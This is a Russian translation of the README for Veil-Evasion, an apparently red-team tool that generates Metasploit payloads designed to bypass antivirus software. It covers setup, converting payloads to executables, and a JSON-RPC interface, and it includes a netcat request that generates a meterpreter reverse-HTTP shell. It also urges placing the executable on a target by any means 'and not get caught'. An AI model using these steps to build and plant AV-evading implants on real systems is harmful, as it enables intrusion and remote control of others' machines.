
Veil Evasion больше не поддерживается, используйте Veil 3.0!
Veil-Evasion — это инструмент, предназначенный для создания полезных нагрузок Metasploit, которые обходят распространённые антивирусные решения.
ПРИМЕЧАНИЕ:
./setup/setup.shследует повторно запускать при каждом крупном обновлении версии. Если при запуске Veil-Evasion возникают серьёзные ошибки, сначала попробуйте повторно выполнить этот скрипт, чтобы установить дополнительные пакеты и обновить общий файл конфигурации.
Veil-Evasion в настоящее время активно поддерживается @ChrisTruncer, @TheMightyShiv, @HarmJ0y.
Благодарности:
или
ПРИМЕЧАНИЕ: Установка должна выполняться с привилегиями суперпользователя. Если вы не используете Kali Linux, добавьте
sudoперед каждой командой или переключитесь на пользователя root перед началом.
Запустите setup.sh -c на Kali x86.
Установите Python 2.7, Py2Exe, PyCrypto и PyWin32 на компьютер с Windows (для Py2Exe).
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
ПРИМЕЧАНИЕ: Это должно выполняться с привилегиями суперпользователя. Если вы не используете Kali Linux, добавьте
sudoперед каждой командой или переключитесь на пользователя root перед началом.
В большинстве случаев файл конфигурации /etc/veil/settings.py не нужно перестраивать, но в некоторых случаях может быть предложено это сделать. Файл генерируется скриптом config/update.py.
Важно находиться в каталоге config/ перед выполнением update.py. Если вы находитесь в другом каталоге, settings.py будет создан некорректно, и при запуске Veil-Evasion вы увидите следующее.
Main Menu
0 payloads loaded
Не паникуйте. Перейдите в каталог config/ и повторно запустите update.py.
Veil-Evasion разработан для работы на Kali Linux, но должен функционировать на любой системе, способной выполнять скрипты Python. Просто вызовите Veil-Evasion из командной строки и следуйте меню для создания полезной нагрузки. После создания полезной нагрузки Veil-Evasion спросит, хотите ли вы преобразовать файл полезной нагрузки в исполняемый файл с помощью Pyinstaller или Py2Exe.
При использовании Pyinstaller Veil-Evasion преобразует вашу полезную нагрузку в исполняемый файл прямо в Kali.
При использовании Py2Exe Veil-Evasion создаст три файла:
Перенесите все три файла на компьютер с Windows, где установлен Python. Все три файла должны быть помещены в корень каталога, куда установлен Python (скорее всего, C:\Python27). Запустите пакетный скрипт, чтобы преобразовать скрипт Python в исполняемый формат.
Разместите исполняемый файл на целевой машине любыми средствами и не попадитесь!
На стороне слушателя выполните:
./Veil-Evasion --rpc
Это запустит слушатель на порту 4242.
На стороне клиента вам потребуется запустить клиентскую программу. Это может быть пользовательский скрипт или что-то простое, например Netcat. RPC-сервер реализует JSON-RPC. Вот хорошая ссылка для интерпретации запросов и ответов JSON-RPC: http://json-rpc.org/wiki/specification
Формат RPC-запроса следующий:
method="version" — возвращает текущий номер версии Veil-Evasion
method="payloads" — возвращает все загруженные полезные нагрузки
method="payload_options"
params="payload_name" — возвращает параметры для указанной полезной нагрузки
method="generate"
params=["payload=X",
"outputbase=Y"
"overwrite=Z",
"msfvenom=...",
"LHOST=blah] — генерирует указанную полезную нагрузку с заданными параметрами и возвращает путь к сгенерированному исполняемому файлу
Вот простой пример работы с Veil-Evasion через Netcat:
root@kali:~# nc 127.0.0.1 4242
{"method":"version","params":[],"id":0}
И ответ сервера:
{"id":0,"result":"2.21.4","error":null}
Пример клиентской программы можно найти здесь: http://github.com/miligulmohar/python-symmetric-jsonrpc/blob/master/examples/client.py
ПРИМЕЧАНИЕ: Порт для Veil-Evasion — 4242. Его необходимо изменить в client.py, чтобы он работал.
Чтобы сгенерировать полезную нагрузку, необходимо указать ВСЕ параметры:
Вот хорошая ссылка, чтобы понять, используется ли pwnstaller: http://www.verisgroup.com/blog/2014/05/07/pwnstaller-and-the-veil-framework/
Пример генерации полезной нагрузки:
root@kali:~# nc 127.0.0.1 4242
{"method":"generate","params":["payload=c/meterpreter/rev_http","outputbase=payloadName","LHOST=192.168.1.11","LPORT=2121","pwnstaller=False"],"id":1"}
И ответ сервера:
{"id":8,"result":"/usr/share/veil-output/compiled/payloadName.exe","error":null}
ПРИМЕЧАНИЕ: Если в запросе не указан id, Veil-Evasion завершит работу. Однако вы можете делать столько допустимых запросов, сколько захотите, пока Veil-Evasion не завершится.
Чтобы завершить работу RPC-сервера, выполните:
./Veil-Evasion --rpcshutdown